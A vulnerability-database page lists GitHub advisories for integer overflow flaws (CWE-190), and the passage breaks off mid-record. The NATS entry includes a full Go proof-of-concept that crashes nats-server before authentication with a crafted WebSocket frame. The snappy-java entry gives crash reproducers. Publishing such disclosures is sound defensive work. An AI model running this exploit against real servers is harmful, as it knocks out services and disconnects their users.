CWE-190
AllowedInteger Overflow or Wraparound
Abstraction: Base · Status: Stable
The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.
3867 vulnerabilities reference this CWE, most recent first.
GHSA-PPQQ-2FJX-QXW2
Vulnerability from github – Published: 2023-04-21 00:30 – Updated: 2023-04-21 00:30This vulnerability allows network-adjacent attackers to disclose sensitive information on affected installations of Sonos One Speaker 70.3-35220. Authentication is not required to exploit this vulnerability. The specific flaw exists within the processing of the SMB directory query command. The issue results from the lack of proper validation of user-supplied data, which can result in an integer overflow before reading from memory. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of root. Was ZDI-CAN-19727.
{
"affected": [],
"aliases": [
"CVE-2023-27354"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-20T22:15:07Z",
"severity": "MODERATE"
},
"details": "This vulnerability allows network-adjacent attackers to disclose sensitive information on affected installations of Sonos One Speaker 70.3-35220. Authentication is not required to exploit this vulnerability. The specific flaw exists within the processing of the SMB directory query command. The issue results from the lack of proper validation of user-supplied data, which can result in an integer overflow before reading from memory. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of root. Was ZDI-CAN-19727.",
"id": "GHSA-ppqq-2fjx-qxw2",
"modified": "2023-04-21T00:30:22Z",
"published": "2023-04-21T00:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27354"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-23-446"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-PPRJ-V5JJ-3F8R
Vulnerability from github – Published: 2023-06-26 18:30 – Updated: 2024-04-04 05:10Widevine Trusted Application (TA) 5.0.0 through 5.1.1 has a drm_verify_keys prefix_len+feature_name_len integer overflow and resultant buffer overflow.
{
"affected": [],
"aliases": [
"CVE-2022-48333"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-26T17:15:09Z",
"severity": "CRITICAL"
},
"details": "Widevine Trusted Application (TA) 5.0.0 through 5.1.1 has a drm_verify_keys prefix_len+feature_name_len integer overflow and resultant buffer overflow.",
"id": "GHSA-pprj-v5jj-3f8r",
"modified": "2024-04-04T05:10:31Z",
"published": "2023-06-26T18:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48333"
},
{
"type": "WEB",
"url": "https://cyberintel.es/cve/CVE-2022-48333_Buffer_Overflow_in_Widevine_drm_verify_keys_0x730c"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PPW7-87M8-4PJ8
Vulnerability from github – Published: 2024-05-14 18:31 – Updated: 2024-05-14 18:31Windows Mobile Broadband Driver Remote Code Execution Vulnerability
{
"affected": [],
"aliases": [
"CVE-2024-30003"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-14T17:16:31Z",
"severity": "MODERATE"
},
"details": "Windows Mobile Broadband Driver Remote Code Execution Vulnerability",
"id": "GHSA-ppw7-87m8-4pj8",
"modified": "2024-05-14T18:31:03Z",
"published": "2024-05-14T18:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30003"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-30003"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PQ2Q-RCW4-3HR6
Vulnerability from github – Published: 2026-03-25 17:07 – Updated: 2026-03-27 22:09Background
NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.
When using WebSockets, a malicious client can trigger a server crash with crafted frames, before authentication.
Problem Description
A missing sanity check on a WebSockets frame could trigger a server panic in the nats-server. This happens before authentication, and so is exposed to anyone who can connect to the websockets port.
Affected versions
Version 2 from v2.2.0 onwards, prior to v2.11.14 or v2.12.5
Workarounds
This only affects deployments which use WebSockets and which expose the network port to untrusted end-points. If able to do so, a defense in depth of restricting either of these will mitigate the attack.
Solution
Upgrade the NATS server to a fixed version.
Credits
This was reported to the NATS maintainers by GitHub user Mistz1. Also independently reported by GitHub user jiayuqi7813.
Report by @Mistz1
Summary
An unauthenticated remote attacker can crash the entire nats-server process by sending a single malicious WebSocket frame (15 bytes after the HTTP upgrade handshake). The server fails to validate the RFC 6455 §5.2 requirement that the most significant bit of a 64-bit extended payload length must be zero. The resulting uint64 → int conversion produces a negative value, which bypasses the bounds clamp and triggers an unrecovered panic in the connection's goroutine — killing the entire server process and disconnecting all clients. This affects all platforms (64-bit and 32-bit).
Details
Vulnerable code: server/websocket.go line 278
r.rem = int(binary.BigEndian.Uint64(tmpBuf))
When a WebSocket frame uses the 64-bit extended payload length (length code 127), the server reads 8 bytes and casts the raw uint64 directly to int with no validation. RFC 6455 §5.2 states: "the most significant bit MUST be 0" — but nats-server never checks this.
Attack chain:
-
The attacker sends a WebSocket frame with the MSB set in the 64-bit length field (e.g.,
0x8000000000000001). -
At line 278,
int(0x8000000000000001)produces-9223372036854775807on 64-bit Go (two's complement reinterpretation — Go does not panic on integer conversion overflow). -
r.remis now negative. At line 307–311, the bounds clamp fails:
go
n = r.rem // n = -9223372036854775807
if pos+n > max { // 14 + (-huge) = negative, NOT > max → FALSE
n = max - pos // clamp NEVER fires
}
b = buf[pos : pos+n] // buf[14 : -9223372036854775793] → PANIC
The addition pos + n wraps to a negative value (Go signed integer overflow is defined behavior — it wraps silently). Since the negative result is never greater than max, the clamp is skipped. The slice expression at line 311 reaches the Go runtime bounds check, which panics.
- There is no
defer recover()anywhere in the goroutine chain: startGoRoutine:go func() { f() }()— no recoveryreadLoop: defer only does cleanup — no recovery
The unrecovered panic propagates to Go's runtime, which calls os.Exit(2). The entire nats-server process terminates.
- The WebSocket frame is parsed in
wsRead()called fromreadLoop(), which starts immediately after the HTTP upgrade — before any NATS CONNECT authentication. No credentials are required.
Why 15 bytes, not 14: The 14-byte frame header (opcode + length + mask key) exactly fills the read buffer on the first call, so pos == max and the payload loop at line 303 (if pos < max) is skipped. The poisoned r.rem persists in the wsReadInfo struct. One additional byte of "payload" is needed so that pos < max on either the same or next read, entering the panic path at line 311.
PoC
Server configuration (test-ws.conf):
listen: 127.0.0.1:4222
websocket {
listen: "127.0.0.1:9222"
no_tls: true
}
Start the server:
nats-server -c test-ws.conf
Exploit (poc_ws_crash.go):
package main
import (
"bufio"
"encoding/binary"
"fmt"
"net"
"net/http"
"os"
"time"
)
func main() {
target := "127.0.0.1:9222"
if len(os.Args) > 1 {
target = os.Args[1]
}
fmt.Printf("[*] Connecting to %s...\n", target)
conn, err := net.DialTimeout("tcp", target, 5*time.Second)
if err != nil {
fmt.Printf("[-] Connection failed: %v\n", err)
os.Exit(1)
}
defer conn.Close()
// WebSocket upgrade
req, _ := http.NewRequest("GET", "http://"+target, nil)
req.Header.Set("Upgrade", "websocket")
req.Header.Set("Connection", "Upgrade")
req.Header.Set("Sec-WebSocket-Key", "dGhlIHNhbXBsZSBub25jZQ==")
req.Header.Set("Sec-WebSocket-Version", "13")
req.Header.Set("Sec-WebSocket-Protocol", "nats")
req.Write(conn)
conn.SetReadDeadline(time.Now().Add(5 * time.Second))
resp, err := http.ReadResponse(bufio.NewReader(conn), req)
if err != nil || resp.StatusCode != 101 {
fmt.Printf("[-] Upgrade failed\n")
os.Exit(1)
}
fmt.Println("[+] WebSocket established")
conn.SetReadDeadline(time.Time{})
// Malicious frame: FIN+Binary, MASK+127, 8-byte length with MSB set, mask key, 1 payload byte
frame := make([]byte, 15)
frame[0] = 0x82 // FIN + Binary
frame[1] = 0xFF // MASK + 127 (64-bit length)
binary.BigEndian.PutUint64(frame[2:10], 0x8000000000000001) // MSB set
frame[10] = 0xDE // Mask key
frame[11] = 0xAD
frame[12] = 0xBE
frame[13] = 0xEF
frame[14] = 0x41 // 1 payload byte
fmt.Printf("[*] Sending: %x\n", frame)
conn.Write(frame)
time.Sleep(2 * time.Second)
// Verify crash
conn2, err := net.DialTimeout("tcp", target, 3*time.Second)
if err != nil {
fmt.Println("[!!!] SERVER IS DOWN — full process crash confirmed")
os.Exit(0)
}
conn2.Close()
fmt.Println("[-] Server still running")
}
Run:
go build -o poc_ws_crash poc_ws_crash.go
./poc_ws_crash
Observed server output before termination:
panic: runtime error: slice bounds out of range [:-9223372036854775793]
goroutine 13 [running]:
github.com/nats-io/nats-server/v2/server.(*client).wsRead(...)
server/websocket.go:311 +0xa93
github.com/nats-io/nats-server/v2/server.(*client).readLoop(...)
server/client.go:1434 +0x768
github.com/nats-io/nats-server/v2/server.(*Server).startGoRoutine.func1()
server/server.go:4078 +0x32
Tested against: nats-server v2.14.0-dev (commit a69f51f), Go 1.25.7, linux/amd64.
Impact
Vulnerability type: Pre-authentication remote denial of service (full process crash).
Who is impacted: Any nats-server deployment with WebSocket listeners enabled (websocket { ... } in config), including MQTT-over-WebSocket. This is an increasingly common configuration for browser-based and IoT clients. The attacker needs only TCP access to the WebSocket port — no credentials, no valid NATS client, no TLS client certificate.
Severity: A single unauthenticated TCP connection sending 15 bytes crashes the entire server process. All connected clients (NATS, WebSocket, MQTT, cluster routes, gateways, leaf nodes) are immediately disconnected. JetStream in-flight acknowledgments are lost and Raft consensus is disrupted in clustered deployments. The attack is repeatable on every server restart.
Affected platforms: All — confirmed on 64-bit (linux/amd64); 32-bit platforms (linux/386, linux/arm) are also affected with additional frame-desync consequences.
( NATS retains the original external report below the cut, with exploit details. This issue was also independently reported by GitHub user @jiayuqi7813 before publication; they provided a Python exploit.)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/nats-io/nats-server/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.11.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/nats-io/nats-server/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.12.0"
},
{
"fixed": "2.12.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/nats-io/nats-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27889"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T17:07:51Z",
"nvd_published_at": "2026-03-25T20:16:27Z",
"severity": "HIGH"
},
"details": "### Background\n\nNATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.\n\nWhen using WebSockets, a malicious client can trigger a server crash with crafted frames, before authentication.\n\n\n### Problem Description\n\nA missing sanity check on a WebSockets frame could trigger a server panic in the nats-server. This happens before authentication, and so is exposed to anyone who can connect to the websockets port.\n\n### Affected versions\n\nVersion 2 from v2.2.0 onwards, prior to v2.11.14 or v2.12.5\n\n### Workarounds\n\nThis only affects deployments which use WebSockets and which expose the network port to untrusted end-points. If able to do so, a defense in depth of restricting either of these will mitigate the attack.\n\n### Solution\n\nUpgrade the NATS server to a fixed version.\n\n### Credits\n\nThis was reported to the NATS maintainers by GitHub user Mistz1.\nAlso independently reported by GitHub user jiayuqi7813.\n\n-----\n\n## Report by @Mistz1 \n\n### Summary\n\nAn unauthenticated remote attacker can crash the entire nats-server process by sending a single malicious WebSocket frame (15 bytes after the HTTP upgrade handshake). The server fails to validate the RFC 6455 \u00a75.2 requirement that the most significant bit of a 64-bit extended payload length must be zero. The resulting `uint64` \u2192 `int` conversion produces a negative value, which bypasses the bounds clamp and triggers an unrecovered `panic` in the connection\u0027s goroutine \u2014 killing the entire server process and disconnecting all clients. This affects all platforms (64-bit and 32-bit).\n\n### Details\n\n**Vulnerable code:** [`server/websocket.go` line 278](https://github.com/nats-io/nats-server/blob/a69f51f/server/websocket.go#L278)\n\n```go\nr.rem = int(binary.BigEndian.Uint64(tmpBuf))\n```\n\nWhen a WebSocket frame uses the 64-bit extended payload length (length code 127), the server reads 8 bytes and casts the raw `uint64` directly to `int` with no validation. RFC 6455 \u00a75.2 states: *\"the most significant bit MUST be 0\"* \u2014 but nats-server never checks this.\n\n**Attack chain:**\n\n1. The attacker sends a WebSocket frame with the MSB set in the 64-bit length field (e.g., `0x8000000000000001`).\n\n2. At line 278, `int(0x8000000000000001)` produces `-9223372036854775807` on 64-bit Go (two\u0027s complement reinterpretation \u2014 Go does not panic on integer conversion overflow).\n\n3. `r.rem` is now negative. At line 307\u2013311, the bounds clamp fails:\n\n ```go\n n = r.rem // n = -9223372036854775807\n if pos+n \u003e max { // 14 + (-huge) = negative, NOT \u003e max \u2192 FALSE\n n = max - pos // clamp NEVER fires\n }\n b = buf[pos : pos+n] // buf[14 : -9223372036854775793] \u2192 PANIC\n ```\n\n The addition `pos + n` wraps to a negative value (Go signed integer overflow is defined behavior \u2014 it wraps silently). Since the negative result is never greater than `max`, the clamp is skipped. The slice expression at line 311 reaches the Go runtime bounds check, which panics.\n\n4. There is **no `defer recover()`** anywhere in the goroutine chain:\n - [`startGoRoutine`](https://github.com/nats-io/nats-server/blob/a69f51f/server/server.go#L4076-L4079): `go func() { f() }()` \u2014 no recovery\n - [`readLoop`](https://github.com/nats-io/nats-server/blob/a69f51f/server/client.go#L1387-L1394): defer only does cleanup \u2014 no recovery\n\n The unrecovered panic propagates to Go\u0027s runtime, which calls `os.Exit(2)`. The **entire nats-server process terminates**.\n\n5. The WebSocket frame is parsed in `wsRead()` called from `readLoop()`, which starts immediately after the HTTP upgrade \u2014 **before any NATS CONNECT authentication**. No credentials are required.\n\n**Why 15 bytes, not 14:** The 14-byte frame header (opcode + length + mask key) exactly fills the read buffer on the first call, so `pos == max` and the payload loop at line 303 (`if pos \u003c max`) is skipped. The poisoned `r.rem` persists in the `wsReadInfo` struct. One additional byte of \"payload\" is needed so that `pos \u003c max` on either the same or next read, entering the panic path at line 311.\n\n### PoC\n\n**Server configuration** (`test-ws.conf`):\n```\nlisten: 127.0.0.1:4222\n\nwebsocket {\n listen: \"127.0.0.1:9222\"\n no_tls: true\n}\n```\n\n**Start the server:**\n```bash\nnats-server -c test-ws.conf\n```\n\n**Exploit** (`poc_ws_crash.go`):\n```go\npackage main\n\nimport (\n\t\"bufio\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"os\"\n\t\"time\"\n)\n\nfunc main() {\n\ttarget := \"127.0.0.1:9222\"\n\tif len(os.Args) \u003e 1 {\n\t\ttarget = os.Args[1]\n\t}\n\n\tfmt.Printf(\"[*] Connecting to %s...\\n\", target)\n\tconn, err := net.DialTimeout(\"tcp\", target, 5*time.Second)\n\tif err != nil {\n\t\tfmt.Printf(\"[-] Connection failed: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tdefer conn.Close()\n\n\t// WebSocket upgrade\n\treq, _ := http.NewRequest(\"GET\", \"http://\"+target, nil)\n\treq.Header.Set(\"Upgrade\", \"websocket\")\n\treq.Header.Set(\"Connection\", \"Upgrade\")\n\treq.Header.Set(\"Sec-WebSocket-Key\", \"dGhlIHNhbXBsZSBub25jZQ==\")\n\treq.Header.Set(\"Sec-WebSocket-Version\", \"13\")\n\treq.Header.Set(\"Sec-WebSocket-Protocol\", \"nats\")\n\treq.Write(conn)\n\n\tconn.SetReadDeadline(time.Now().Add(5 * time.Second))\n\tresp, err := http.ReadResponse(bufio.NewReader(conn), req)\n\tif err != nil || resp.StatusCode != 101 {\n\t\tfmt.Printf(\"[-] Upgrade failed\\n\")\n\t\tos.Exit(1)\n\t}\n\tfmt.Println(\"[+] WebSocket established\")\n\tconn.SetReadDeadline(time.Time{})\n\n\t// Malicious frame: FIN+Binary, MASK+127, 8-byte length with MSB set, mask key, 1 payload byte\n\tframe := make([]byte, 15)\n\tframe[0] = 0x82 // FIN + Binary\n\tframe[1] = 0xFF // MASK + 127 (64-bit length)\n\tbinary.BigEndian.PutUint64(frame[2:10], 0x8000000000000001) // MSB set\n\tframe[10] = 0xDE // Mask key\n\tframe[11] = 0xAD\n\tframe[12] = 0xBE\n\tframe[13] = 0xEF\n\tframe[14] = 0x41 // 1 payload byte\n\n\tfmt.Printf(\"[*] Sending: %x\\n\", frame)\n\tconn.Write(frame)\n\n\ttime.Sleep(2 * time.Second)\n\n\t// Verify crash\n\tconn2, err := net.DialTimeout(\"tcp\", target, 3*time.Second)\n\tif err != nil {\n\t\tfmt.Println(\"[!!!] SERVER IS DOWN \u2014 full process crash confirmed\")\n\t\tos.Exit(0)\n\t}\n\tconn2.Close()\n\tfmt.Println(\"[-] Server still running\")\n}\n```\n\n**Run:**\n```bash\ngo build -o poc_ws_crash poc_ws_crash.go\n./poc_ws_crash\n```\n\n**Observed server output before termination:**\n```\npanic: runtime error: slice bounds out of range [:-9223372036854775793]\n\ngoroutine 13 [running]:\ngithub.com/nats-io/nats-server/v2/server.(*client).wsRead(...)\n server/websocket.go:311 +0xa93\ngithub.com/nats-io/nats-server/v2/server.(*client).readLoop(...)\n server/client.go:1434 +0x768\ngithub.com/nats-io/nats-server/v2/server.(*Server).startGoRoutine.func1()\n server/server.go:4078 +0x32\n```\n\n**Tested against:** nats-server v2.14.0-dev (commit `a69f51f`), Go 1.25.7, linux/amd64.\n\n### Impact\n\n**Vulnerability type:** Pre-authentication remote denial of service (full process crash).\n\n**Who is impacted:** Any nats-server deployment with WebSocket listeners enabled (`websocket { ... }` in config), including MQTT-over-WebSocket. This is an increasingly common configuration for browser-based and IoT clients. The attacker needs only TCP access to the WebSocket port \u2014 no credentials, no valid NATS client, no TLS client certificate.\n\n**Severity:** A single unauthenticated TCP connection sending 15 bytes crashes the entire server process. All connected clients (NATS, WebSocket, MQTT, cluster routes, gateways, leaf nodes) are immediately disconnected. JetStream in-flight acknowledgments are lost and Raft consensus is disrupted in clustered deployments. The attack is repeatable on every server restart.\n\n**Affected platforms:** All \u2014 confirmed on 64-bit (linux/amd64); 32-bit platforms (linux/386, linux/arm) are also affected with additional frame-desync consequences.\n\n( NATS retains the original external report below the cut, with exploit details.\nThis issue was also independently reported by GitHub user @jiayuqi7813 before publication; they provided a Python exploit.)",
"id": "GHSA-pq2q-rcw4-3hr6",
"modified": "2026-03-27T22:09:10Z",
"published": "2026-03-25T17:07:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nats-io/nats-server/security/advisories/GHSA-pq2q-rcw4-3hr6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27889"
},
{
"type": "WEB",
"url": "https://advisories.nats.io/CVE/secnote-2026-03.txt"
},
{
"type": "PACKAGE",
"url": "https://github.com/nats-io/nats-server"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "NATS: Pre-auth remote server crash via WebSocket frame length overflow in wsRead"
}
GHSA-PQ9Q-4QC5-WGJX
Vulnerability from github – Published: 2022-05-14 03:02 – Updated: 2022-05-14 03:02The mintToken function of a smart contract implementation for Trabet_Coin_PreICO, an Ethereum token, has an integer overflow that allows the owner of the contract to set the balance of an arbitrary user to any value.
{
"affected": [],
"aliases": [
"CVE-2018-13552"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-09T06:29:00Z",
"severity": "HIGH"
},
"details": "The mintToken function of a smart contract implementation for Trabet_Coin_PreICO, an Ethereum token, has an integer overflow that allows the owner of the contract to set the balance of an arbitrary user to any value.",
"id": "GHSA-pq9q-4qc5-wgjx",
"modified": "2022-05-14T03:02:39Z",
"published": "2022-05-14T03:02:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-13552"
},
{
"type": "WEB",
"url": "https://github.com/BlockChainsSecurity/EtherTokens/blob/master/GEMCHAIN/mint%20integer%20overflow.md"
},
{
"type": "WEB",
"url": "https://github.com/BlockChainsSecurity/EtherTokens/tree/master/Trabet_Coin_PreICO"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PQC6-PXGQ-MVRW
Vulnerability from github – Published: 2022-05-13 01:31 – Updated: 2022-05-13 01:31An integer overflow vulnerability exists in the function batchTransfer of WeMediaChain (WMC), an Ethereum token smart contract. An attacker could use it to set any user's balance.
{
"affected": [],
"aliases": [
"CVE-2018-14003"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-12T15:29:00Z",
"severity": "HIGH"
},
"details": "An integer overflow vulnerability exists in the function batchTransfer of WeMediaChain (WMC), an Ethereum token smart contract. An attacker could use it to set any user\u0027s balance.",
"id": "GHSA-pqc6-pxgq-mvrw",
"modified": "2022-05-13T01:31:09Z",
"published": "2022-05-13T01:31:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-14003"
},
{
"type": "WEB",
"url": "https://github.com/VenusADLab/EtherTokens/blob/master/SHARKTECH/SHARKTECH.md"
},
{
"type": "WEB",
"url": "https://github.com/VenusADLab/EtherTokens/tree/master/WeMediaChain(WMC)"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PQFG-4C7J-MWXM
Vulnerability from github – Published: 2022-05-14 03:46 – Updated: 2022-05-14 03:46In the sendFormatChange function of ACodec, there is a possible integer overflow which could lead to an out-of-bounds write. This could lead to a local elevation of privilege enabling code execution as a privileged process with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android. Versions: 8.0, 8.1. Android ID: A-67737022.
{
"affected": [],
"aliases": [
"CVE-2017-13182"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-01-12T23:29:00Z",
"severity": "HIGH"
},
"details": "In the sendFormatChange function of ACodec, there is a possible integer overflow which could lead to an out-of-bounds write. This could lead to a local elevation of privilege enabling code execution as a privileged process with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android. Versions: 8.0, 8.1. Android ID: A-67737022.",
"id": "GHSA-pqfg-4c7j-mwxm",
"modified": "2022-05-14T03:46:39Z",
"published": "2022-05-14T03:46:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-13182"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2018-01-01"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/102414"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1040106"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PQMF-99G2-67HX
Vulnerability from github – Published: 2022-05-14 03:01 – Updated: 2022-05-14 03:01The mintToken function of a smart contract implementation for Providence Crypto Casino (PVE) (Contract Name: ProvidenceCasinoToken), an Ethereum token, has an integer overflow that allows the owner of the contract to set the balance of an arbitrary user to any value.
{
"affected": [],
"aliases": [
"CVE-2018-13547"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-09T06:29:00Z",
"severity": "HIGH"
},
"details": "The mintToken function of a smart contract implementation for Providence Crypto Casino (PVE) (Contract Name: ProvidenceCasinoToken), an Ethereum token, has an integer overflow that allows the owner of the contract to set the balance of an arbitrary user to any value.",
"id": "GHSA-pqmf-99g2-67hx",
"modified": "2022-05-14T03:01:38Z",
"published": "2022-05-14T03:01:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-13547"
},
{
"type": "WEB",
"url": "https://github.com/BlockChainsSecurity/EtherTokens/blob/master/GEMCHAIN/mint%20integer%20overflow.md"
},
{
"type": "WEB",
"url": "https://github.com/BlockChainsSecurity/EtherTokens/tree/master/ProvidenceCasinoToken"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PQPX-GPVG-4M34
Vulnerability from github – Published: 2022-05-13 01:07 – Updated: 2022-05-13 01:07An Integer Overflow issue was discovered in the struct library in the Lua subsystem in Redis before 3.2.12, 4.x before 4.0.10, and 5.x before 5.0 RC2, leading to a failure of bounds checking.
{
"affected": [],
"aliases": [
"CVE-2018-11219"
],
"database_specific": {
"cwe_ids": [
"CWE-190"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-06-17T17:29:00Z",
"severity": "CRITICAL"
},
"details": "An Integer Overflow issue was discovered in the struct library in the Lua subsystem in Redis before 3.2.12, 4.x before 4.0.10, and 5.x before 5.0 RC2, leading to a failure of bounds checking.",
"id": "GHSA-pqpx-gpvg-4m34",
"modified": "2022-05-13T01:07:35Z",
"published": "2022-05-13T01:07:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-11219"
},
{
"type": "WEB",
"url": "https://github.com/antirez/redis/issues/5017"
},
{
"type": "WEB",
"url": "https://github.com/antirez/redis/commit/1eb08bcd4634ae42ec45e8284923ac048beaa4c3"
},
{
"type": "WEB",
"url": "https://github.com/antirez/redis/commit/e89086e09a38cc6713bcd4b9c29abf92cf393936"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:0052"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:0094"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:1860"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/antirez/redis/4.0/00-RELEASENOTES"
},
{
"type": "WEB",
"url": "https://raw.githubusercontent.com/antirez/redis/5.0/00-RELEASENOTES"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201908-04"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2018/dsa-4230"
},
{
"type": "WEB",
"url": "https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html"
},
{
"type": "WEB",
"url": "http://antirez.com/news/119"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/104552"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PQR6-CMR2-H8HF
Vulnerability from github – Published: 2023-06-15 16:13 – Updated: 2023-06-27 21:57Summary
Due to unchecked multiplications, an integer overflow may occur, causing a fatal error.
Impact
Denial of Service
Description
The function shuffle(int[] input) in the file BitShuffle.java receives an array of integers and applies a bit shuffle on it. It does so by multiplying the length by 4 and passing it to the natively compiled shuffle function.
public static byte[] shuffle(int[] input) throws IOException {
byte[] output = new byte[input.length * 4];
int numProcessed = impl.shuffle(input, 0, 4, input.length * 4, output, 0);
assert(numProcessed == input.length * 4);
return output;
}
Since the length is not tested, the multiplication by four can cause an integer overflow and become a smaller value than the true size, or even zero or negative. In the case of a negative value, a “java.lang.NegativeArraySizeException” exception will raise, which can crash the program. In a case of a value that is zero or too small, the code that afterwards references the shuffled array will assume a bigger size of the array, which might cause exceptions such as “java.lang.ArrayIndexOutOfBoundsException”. The same issue exists also when using the “shuffle” functions that receive a double, float, long and short, each using a different multiplier that may cause the same issue.
Steps To Reproduce
Compile and run the following code:
package org.example;
import org.xerial.snappy.BitShuffle;
import java.io.*;
public class Main {
public static void main(String[] args) throws IOException {
int[] original = new int[0x40000000];
byte[] shuffled = BitShuffle.shuffle(original);
System.out.println(shuffled[0]);
}
}
The program will crash, showing the following error (or similar):
Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: Index 0 out of bounds for length 0
at org.example.Main.main(Main.java:12)
Process finished with exit code 1
Alternatively - compile and run the following code:
package org.example;
import org.xerial.snappy.BitShuffle;
import java.io.*;
public class Main {
public static void main(String[] args) throws IOException {
int[] original = new int[0x20000000];
byte[] shuffled = BitShuffle.shuffle(original);
}
}
The program will crash with the following error (or similar):
Exception in thread "main" java.lang.NegativeArraySizeException: -2147483648
at org.xerial.snappy.BitShuffle.shuffle(BitShuffle.java:108)
at org.example.Main.main(Main.java:11)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.1.10.0"
},
"package": {
"ecosystem": "Maven",
"name": "org.xerial.snappy:snappy-java"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.10.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-34453"
],
